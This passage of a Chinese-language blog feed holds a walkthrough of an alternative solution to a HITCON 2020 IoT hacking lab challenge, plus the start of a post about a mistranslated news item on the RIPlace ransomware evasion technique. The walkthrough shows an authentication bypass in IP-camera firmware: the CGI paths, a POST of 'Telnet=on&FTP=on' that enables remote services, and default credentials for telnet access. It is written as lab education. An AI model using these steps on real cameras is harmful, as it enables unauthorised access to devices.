&lt;p style=&quot;line-height: 150%; text-indent: 2em; word-spacing: 2px;&quot;&gt;此題的網路攝影機預設只開啟端口443、554、8000，我們要想辦法辦啟動這台設備上的Telnet及FTP服務，即開啟端口23及21。&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 150%; text-indent: 2em; word-spacing: 2px;&quot;&gt;依照簡報內容，由於使用者未變更預設密碼，駭客可由使用手冊得知兩組登入帳密：「&lt;b&gt;&lt;span style=&quot;color: #20124d;&quot;&gt;root&lt;/span&gt;&lt;/b&gt; / 
&lt;b&gt;&lt;span style=&quot;color: #b45f06;&quot;&gt;root&lt;/span&gt;&lt;/b&gt;」及「&lt;b&gt;&lt;span style=&quot;color: #20124d;&quot;&gt;user&lt;/span&gt;&lt;/b&gt; / &lt;b&gt;&lt;span style=&quot;color: #b45f06;&quot;&gt;DVIPcam&lt;/span&gt;&lt;/b&gt;」，實際上，root的密碼已變更，無法直接以管理員身分登入管理界面，但&lt;span style=&quot;color: #990000;&quot;&gt;user的密碼則未變更&lt;/span&gt;，駭客能夠&lt;b&gt;經由提權而取得管理員權限&lt;/b&gt;，在瀏覽「System 
Configuration」頁面時啟用Telnet及FTP服務(簡報28頁)。好了，前述的滲透手法，簡報裡已寫得很清楚，這裡不再贅述。&lt;/p&gt;
&lt;p&gt;但~~&lt;span style=&quot;color: #cc0000;&quot;&gt;如果連user的預設密碼也被修改，&lt;/span&gt;有沒有「&lt;span style=&quot;color: #351c75;&quot;&gt;&lt;b&gt;不需要網站的帳密就能開啟Telnet服務&lt;/b&gt;&lt;/span&gt;」的方法？這篇的手法就是了！&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;
一、為了分析網站的原始碼，先從登入頁下載此設備的韌體更新檔(firmware.bin)。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR8VyN4iO2QJreJII5NfNkRro_JAMJY6yshM8fosMcFw0kUOG9XOwECGbifOondAtD6rKAKAWp-ntWy9MbbWnlpeL9ZNRftWJ4x-v9werWudOMStUno4siZG7m-fY6Q_VM1CsnL7e_kd89/s748/LV2-01.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;748&quot; data-original-width=&quot;423&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR8VyN4iO2QJreJII5NfNkRro_JAMJY6yshM8fosMcFw0kUOG9XOwECGbifOondAtD6rKAKAWp-ntWy9MbbWnlpeL9ZNRftWJ4x-v9werWudOMStUno4siZG7m-fY6Q_VM1CsnL7e_kd89/w226-h400/LV2-01.png&quot; width=&quot;226&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;
二、利用&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;7-zip&lt;/b&gt;&lt;/span&gt;開啟 firmware.bin，檢查 &lt;b&gt;www/cgi-bin/ &lt;/b&gt;目錄，注意&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;readcookie.cgi&lt;/b&gt;&lt;/span&gt;、&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;Config.cgi&lt;/b&gt;&lt;/span&gt;及&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;Configsubmit.cgi&lt;/b&gt;&lt;/span&gt;這三個檔案。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie1LBWqjiTf9jAglZgj6BV4T9T1ZIVWpreZXP_Y8ct9R1-xynYim5QhomSiFvv9K2hdPmMJSNDSY_lrMGSO0ny06FpdFa_ZHf4MGpaDTfDLNW3CWCvZ81TVaRfWJFuGxQDZmf79k4VWzsW/s593/LV2-02.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;269&quot; data-original-width=&quot;593&quot; height=&quot;181&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie1LBWqjiTf9jAglZgj6BV4T9T1ZIVWpreZXP_Y8ct9R1-xynYim5QhomSiFvv9K2hdPmMJSNDSY_lrMGSO0ny06FpdFa_ZHf4MGpaDTfDLNW3CWCvZ81TVaRfWJFuGxQDZmf79k4VWzsW/w400-h181/LV2-02.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;三、檢查readcookie.cgi，發現呼叫此CGI時&lt;span style=&quot;color: #cc0000;&quot;&gt;不會檢查是否已登入&lt;/span&gt;，且會將HTTP_COOKIE寫到/var/Allowed_SessionID，而&lt;b&gt;Allowed_SessionID&lt;/b&gt;是判斷使用者有沒有登入的依據。我們就是利用此漏洞。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqjYwgLdMuKtgItqYc7uPWyWLGyZQl1H5ZsPHbOd5F7ZcyegYc9xvCdWsFMJGEkrxHh9MIBYnhm0DoxQLP20haizrUopD9LuuGIEphzWTkNWOMFdpWGELyFgmGro0V5cxqFMT3Q85ZeXzt/s857/LV2-03.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;436&quot; data-original-width=&quot;857&quot; height=&quot;204&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqjYwgLdMuKtgItqYc7uPWyWLGyZQl1H5ZsPHbOd5F7ZcyegYc9xvCdWsFMJGEkrxHh9MIBYnhm0DoxQLP20haizrUopD9LuuGIEphzWTkNWOMFdpWGELyFgmGro0V5cxqFMT3Q85ZeXzt/w400-h204/LV2-03.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&amp;nbsp;四、檢視Config.cgi，發現它會載入 &lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;/var/web/Config.html&lt;/b&gt;&lt;/span&gt;，所以再檢視此網頁，發現它是用來設定FTP及Telnet開關，Submit的內容是&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;Telnet=on/off&amp;amp;FTP=on/off&lt;/b&gt;&lt;/span&gt;，提交對象是「&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;/cgi-bin/Configsubmit.cgi&lt;/b&gt;&lt;/span&gt;」&lt;/p&gt;&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFLB48tUQTWMxZMOYuRogB2jW6k7-Lw2meObOH6MrhOioU_GB2BrEuBVQGonEkcnDG8W7I69NAeXAAaU8-Qvo4fMec6agmOLaDnDXEVZcgP9SkFdZ_S5ajvXKlk3dFrCFJ0H_Hgldu4KU_/s1015/LV2-04.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;785&quot; data-original-width=&quot;1015&quot; height=&quot;309&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFLB48tUQTWMxZMOYuRogB2jW6k7-Lw2meObOH6MrhOioU_GB2BrEuBVQGonEkcnDG8W7I69NAeXAAaU8-Qvo4fMec6agmOLaDnDXEVZcgP9SkFdZ_S5ajvXKlk3dFrCFJ0H_Hgldu4KU_/w400-h309/LV2-04.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&amp;nbsp;五、再檢視「Configsubmit.cgi」，發現此cgi並不會檢查權限，只要有session就可以成立。（剛剛的readcookie.cgi已可建立session）&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx_LaSHEQ7K7aT2_TW7cXowVEKmt45BAMJoCjfkBWp7wMe88s0qaAtiFP1_NidZnND3A-9ZXMXPNkbpm1gV-lRPBPMB9t7bDQvIEasXFnmELG7j6KcakPJtqt4oC3Y6A9TcYH2Yp5Z1bAb/s983/LV2-05.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;878&quot; data-original-width=&quot;983&quot; height=&quot;358&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx_LaSHEQ7K7aT2_TW7cXowVEKmt45BAMJoCjfkBWp7wMe88s0qaAtiFP1_NidZnND3A-9ZXMXPNkbpm1gV-lRPBPMB9t7bDQvIEasXFnmELG7j6KcakPJtqt4oC3Y6A9TcYH2Yp5Z1bAb/w400-h358/LV2-05.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: 1.2em;&quot;&gt;&lt;b&gt;經由上面分析&lt;/b&gt;&lt;/span&gt;，得知&lt;span style=&quot;color: #cc0000;&quot;&gt;readcookie.cgi可以建立空seeeionid&lt;/span&gt;，&lt;span style=&quot;color: #cc0000;&quot;&gt;Configsubmit.cgi可以設定Telnet及FTP服務&lt;/span&gt;，為了便於操作，此處使用Firefox示範。（&lt;b&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;i&gt;&lt;span style=&quot;background-color: #fce5cd;&quot;&gt;192.168.232.139&lt;/span&gt; 是筆者電腦啟動LV2映象檔後的網址，請依個人環境修正&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;）&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;
一、 在瀏覽 https://&lt;i&gt;192.168.232.139&lt;/i&gt;/&lt;b&gt;cig-bin/readcookie.cgi&lt;/b&gt;，會得到如下結果，&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;重點在於session is 
的內容是空的&lt;/b&gt;&lt;/span&gt;。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSkzlaaFqD2XYeOtxDgZZuuAtAFp_ef1Gb9BgR24cdVxqzZltY1puRtRV2KzDSz-9Tq5S1VFeDbt_3lclWgNaiEUyrw3771YLynN0lO0hSVRrCXxq4FTi73RyN_HXZMtUZmaEZOQ4kAV1z/s724/LV2-06.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;202&quot; data-original-width=&quot;724&quot; height=&quot;111&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSkzlaaFqD2XYeOtxDgZZuuAtAFp_ef1Gb9BgR24cdVxqzZltY1puRtRV2KzDSz-9Tq5S1VFeDbt_3lclWgNaiEUyrw3771YLynN0lO0hSVRrCXxq4FTi73RyN_HXZMtUZmaEZOQ4kAV1z/w400-h111/LV2-06.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;
二、啟用 FireFox的&lt;b&gt;開發者模式&lt;/b&gt;，切換到「&lt;b&gt;網路&lt;/b&gt;」頁籤。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;
三、瀏覽https://&lt;i&gt;192.168.232.139&lt;/i&gt;/&lt;b&gt;cig-bin/Configsubmit.cgi&lt;/b&gt;，出現404是正常的。&amp;nbsp; &lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqUG9p2hL4oclnWpJwpfZAmRakCikXfp0JOgNeXa6Vy7HUQhqX_Ud3wzH9Xt-2CnqSNz4_8VjKfFX5BhV8bHUwO7UIJz0wHHalB6-tuauIn3b4GBqCurxP92wvFiW5CFvBeAYcmPiHZ3vJ/s1181/LV2-07.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;704&quot; data-original-width=&quot;1181&quot; height=&quot;239&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqUG9p2hL4oclnWpJwpfZAmRakCikXfp0JOgNeXa6Vy7HUQhqX_Ud3wzH9Xt-2CnqSNz4_8VjKfFX5BhV8bHUwO7UIJz0wHHalB6-tuauIn3b4GBqCurxP92wvFiW5CFvBeAYcmPiHZ3vJ/w400-h239/LV2-07.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;四、從「網路」頁籤的網址清單中選擇剛剛請求的Configsubmit.cgi，然後點擊右方的「&lt;b&gt;重新發送&lt;/b&gt;」下拉選單，並選擇「&lt;b&gt;編輯並重新發送&lt;/b&gt;」項目。&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwKknQrff9f-aS5iC-GaSAjoEPUENsSN30yiOiED39tsWVQ23nq_cs5xcGbIBvzTkPepb-vtbauNBMtjomuOs-OsRSEz74y3folxVD6wq62UJSkxOs5geajJYbH0VDJp0kPQkC2sRHozwU/s1181/LV2-07.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;704&quot; data-original-width=&quot;1181&quot; height=&quot;239&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwKknQrff9f-aS5iC-GaSAjoEPUENsSN30yiOiED39tsWVQ23nq_cs5xcGbIBvzTkPepb-vtbauNBMtjomuOs-OsRSEz74y3folxVD6wq62UJSkxOs5geajJYbH0VDJp0kPQkC2sRHozwU/w400-h239/LV2-07.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;五、將方法改成「POST」，並在請求內容中貼上「Telnet=on&amp;amp;FTP=on」，然後「傳送」。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPbG_lTDv7ZswWy2Xm7vniwLxlOsuRoIa2Xj7FpRbJoAgANnqAcn46bEoAnvt6sz9lgo6mWuAZBgDEVEvzuzX8YKY7MGRDrYGufCrRaxOgjwr0Heg4JqdjQwq_d_Gub31-4YLifY-faIuj/s1181/LV2-08.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;657&quot; data-original-width=&quot;1181&quot; height=&quot;223&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPbG_lTDv7ZswWy2Xm7vniwLxlOsuRoIa2Xj7FpRbJoAgANnqAcn46bEoAnvt6sz9lgo6mWuAZBgDEVEvzuzX8YKY7MGRDrYGufCrRaxOgjwr0Heg4JqdjQwq_d_Gub31-4YLifY-faIuj/w400-h223/LV2-08.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;
六、查看回應結果，FTP及Telnet已經打開。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 6px; margin-left: 3em; margin-right: 2em; margin-top: 0; margin: 0px 2em 6px 3em; text-indent: -2em;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie2M9gEsJOf62D_Tj_bYVCE6i5OMZjWg5mZ1pC_9A0QWfbf-VOthR12qBinAK9yUeX2EcaRLBNRgZjI5VrEDohC8IHJ3gLgTucnsMXAulY5LuLdagLLXhoHXxxQ25fmPyJoi_lawBZREuj/s906/LV2-09.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;494&quot; data-original-width=&quot;906&quot; height=&quot;217&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie2M9gEsJOf62D_Tj_bYVCE6i5OMZjWg5mZ1pC_9A0QWfbf-VOthR12qBinAK9yUeX2EcaRLBNRgZjI5VrEDohC8IHJ3gLgTucnsMXAulY5LuLdagLLXhoHXxxQ25fmPyJoi_lawBZREuj/w400-h217/LV2-09.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;假設您已按照簡報30頁的方法執行暴力破解，應該已得到作業系統的 &lt;span style=&quot;color: #351c75;&quot;&gt;&lt;b&gt;admin&lt;/b&gt;&lt;/span&gt; / &lt;b&gt;&lt;span style=&quot;color: #b45f06;&quot;&gt;Administrator&lt;/span&gt;&lt;/b&gt; 這組帳密，可以利用telnet操控這台設備了！&lt;/p&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/1384194482970675408/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2020/11/hitcon-2020-iot-hacking-101-lv2.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/1384194482970675408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/1384194482970675408'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2020/11/hitcon-2020-iot-hacking-101-lv2.html' title='&lt;span style=&quot;color:green&quot;&gt;HITCON 2020&lt;/span&gt;  { &lt;span style=&quot;color:red;font-weight:bold;&quot;&gt;IoT Hacking 101&lt;/span&gt; }議程之 LV2題目的另類解法'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR8VyN4iO2QJreJII5NfNkRro_JAMJY6yshM8fosMcFw0kUOG9XOwECGbifOondAtD6rKAKAWp-ntWy9MbbWnlpeL9ZNRftWJ4x-v9werWudOMStUno4siZG7m-fY6Q_VM1CsnL7e_kd89/s72-w226-h400-c/LV2-01.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-6040120016356553842</id><published>2020-07-21T20:36:00.000+08:00</published><updated>2020-07-21T20:36:38.113+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="生活紀錄"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊技術"/><title type='text'>天下文章一大抄，你錯我錯一起叫！</title><content type='html'>&lt;div style=&quot;border: #0000cc 4px solid; font-size: 12pt; line-height: 200%; padding: 8px;&quot;&gt;
&lt;div style=&quot;margin: 0.5em 0; text-indent: 2em;&quot;&gt;
個人習慣將資料做三個複本，每月另備到庫存硬碟，因此不太在意勒索病毒。恰好前些日子機關舉辦資安意識講座，講師提到最近有一支勒索病毒利用作業系統的漏洞，可以避過防毒軟體的查殺，病毒使用的技術叫「RIPlace」。這個技術引起我的興趣，上網搜尋發現有大量文章報導這支病毒，基於公務員的潛意識，首先瀏覽技服中心的&lt;b&gt;&lt;a href=&quot;https://www.nccst.nat.gov.tw/NewsRSSDetail?lang=zh&amp;amp;RSSType=news&amp;amp;seq=16407&quot; target=&quot;_blank&quot;&gt;資安新聞&lt;/a&gt;&lt;/b&gt;，結果～～是我國學有問題？還是眼睛業障重？我真的看不懂這段中文字「&lt;b&gt;&lt;span style=&quot;color: #660000;&quot;&gt;(3)將原始檔案存入硬碟，透過Rename功能置換原始檔案&lt;/span&gt;&lt;/b&gt;」，原始檔案不就在硬碟中，幹嘛還要「將原始檔案存入硬碟」？然後還「透過Rename功能置換原始檔案」，自己換掉自己，又是什麼道理？
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://webcache.googleusercontent.com/search?q=cache:eebZE5JeYM8J:https://www.nccst.nat.gov.tw/NewsRSSDetail%3Flang%3Dzh%26RSSType%3Dnews%26seq%3D16407+&amp;amp;cd=4&amp;amp;hl=zh-TW&amp;amp;ct=clnk&amp;amp;gl=tw&amp;amp;client=firefox-b-d&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;技服的頁庫存檔&quot; border=&quot;0&quot; data-original-height=&quot;1001&quot; data-original-width=&quot;1289&quot; height=&quot;310&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1sbeLLMI3AneYdktg9NEI9QBuIJoRFB_ZV-viq53BqV_lCbH1t9MObn1k-UvIIR6SlB2tnW-bwyQhpqmmVj70n18Io1Tn7hi75ufFCIG07ncNbKIU-yBZHxabeGEZSEVcEAaorjvaZbDm/s400/%25E6%258A%2580%25E6%259C%258D-00.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0; text-indent: 2em;&quot;&gt;
還好文章底下有英文參考來源， 連到&lt;a href=&quot;https://www.nyotron.com/blog/nyotron-discovers-potentially-unstoppable-ransomware-evasion-technique-riplace/&quot;&gt;www.nyotron.com&lt;/a&gt;看看（這個漏洞是它找到的），原文是「3.OR saving encrypted file to disk, then replacing it with the original file using the Rename operation.」：&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://www.nyotron.com/blog/nyotron-discovers-potentially-unstoppable-ransomware-evasion-technique-riplace/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;nyotron&quot; border=&quot;0&quot; data-original-height=&quot;953&quot; data-original-width=&quot;1277&quot; height=&quot;297&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpedVgN-WN2h6ZtDU_HrGj22SPOPNJ1kBF_qeREMqDvy4zL3c9YG33P2HSJPZs80hXyG0_e9noW8hsH1l0hBdaBoM3qOAiFd_58Ir42SUnnOM1P_MfMhqaSChi0W1tfQo4TzAXOq6TQQNj/s400/norton.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0; text-indent: 2em;&quot;&gt;
用Google翻譯這段英文的結果：「&lt;span style=&quot;color: #660000;&quot;&gt;&lt;b&gt;將加密的文件保存到磁盤，然後使用重命名操作將其替換為原始文件&lt;/b&gt;&lt;/span&gt;」，這中文的前段是對了，後段還是怪怪的，「使用重新命名的方式將它換成原始檔案」，這樣加密後的內容不就又回到原來的樣子，是要勒索誰呀！&lt;br /&gt;
因此我推斷應該是作業系統有個漏洞，將&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;加密檔案&lt;/b&gt;&lt;/span&gt;的名稱換成&lt;b&gt;&lt;span style=&quot;color: #274e13;&quot;&gt;原始檔案&lt;/span&gt;&lt;/b&gt;的名稱時（是替換檔名，不是替換檔案），作業系統不會檢查兩支檔案使用相同名稱，因此&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;加密檔案&lt;/b&gt;&lt;/span&gt;存活下來，而&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;b&gt;原始檔案&lt;/b&gt;&lt;/span&gt;變成無主野鬼。至於&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;b&gt;原始檔案&lt;/b&gt;&lt;/span&gt;的內容是繼續留在原位置，還是&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;加密檔案&lt;/b&gt;&lt;/span&gt;會因更名成功而覆蓋&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;b&gt;原始檔案&lt;/b&gt;&lt;/span&gt;本來的位置，我就不確定了！&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0; text-indent: 2em;&quot;&gt;
後來又找到另一個&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/new-riplace-bypass-evades-windows-10-av-ransomware-protection/&quot;&gt;英文網站&lt;/a&gt;，不僅提供更詳細的介紹，還畫出流程圖， 有關RIPlace的介紹，它就提到「Writing the encrypted data from memory to new file and then using the Rename call to replace the original file.」（將加密的數據從內存寫入新文件，然後使用“重命名”調用替換原始文件），這樣看起來就合理多了！&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/new-riplace-bypass-evades-windows-10-av-ransomware-protection/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;bleepingcomputer&quot; border=&quot;0&quot; data-original-height=&quot;1023&quot; data-original-width=&quot;1323&quot; height=&quot;308&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMJoXUILLaDDjoHC_1Ay8dH-jvQDfg_SfOrip_dVUCENHqxcfcNxBLDdQqogcEcj9pXy5Ty91cVH44pQ3heYD3atyal7uLi5kWkGVJ6mB_kPn58LIoNtzXF8FbAFhg9RCPXYBwxqWExmuI/s400/bleeping-ok.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0; text-indent: 2em;&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;7月21日再上技服網站，這篇新聞已經修正了。
&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
